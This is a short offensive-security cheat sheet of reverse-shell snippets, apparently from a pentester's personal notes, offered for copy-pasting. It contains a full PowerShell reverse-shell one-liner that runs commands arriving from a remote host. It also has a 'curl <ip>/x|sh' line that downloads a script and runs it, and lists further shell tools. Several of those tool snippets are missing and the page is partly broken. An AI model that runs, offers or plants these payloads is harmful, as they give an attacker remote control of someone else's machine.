Cheats – Shells

This area contains a few of my notes & snippets I regularly use. They are meant to be easily copy-pasteable to get results.


PowerShell reverse-shell (based on this gist):

$client = New-Object System.Net.Sockets.TCPClient(<ip>",<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "[>] ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

rcat (similar to nc.exe):

xc (more features than rcat: port-forwarding, ssh, up & downloads, lpe scripts etc.):

winssh (spawn a full ssh service as an unprivileged user):


Resh (trying multiple ways to get a reverse-shell, based on, host on your machine then execute curl <ip>/x|sh to grab and execute it):



XAMLX (see this post)